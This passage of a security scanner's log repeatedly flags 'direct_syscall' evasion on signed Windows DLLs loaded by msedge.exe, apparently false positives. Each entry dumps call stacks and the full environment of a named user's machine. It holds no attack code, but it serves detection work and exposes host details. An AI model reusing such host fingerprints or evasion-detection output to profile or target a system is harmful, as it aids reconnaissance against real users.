(x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173064 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.365656 +0100 CET + Params: base_address➜ 7ffcdc270000, checksum➜ 230350, default_address➜ 7ffcdc270000, file_path➜ C:\Windows\System32\win32u.dll, image_size➜ 159744, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173075 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3662031 +0100 CET + Params: base_address➜ 7ffcdd4c0000, checksum➜ 230873, default_address➜ 7ffcdd4c0000, file_path➜ C:\Windows\System32\gdi32.dll, image_size➜ 176128, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173091 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3666806 +0100 CET + Params: base_address➜ 7ffcdbf30000, checksum➜ 1243850, default_address➜ 7ffcdbf30000, file_path➜ C:\Windows\System32\gdi32full.dll, image_size➜ 1228800, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 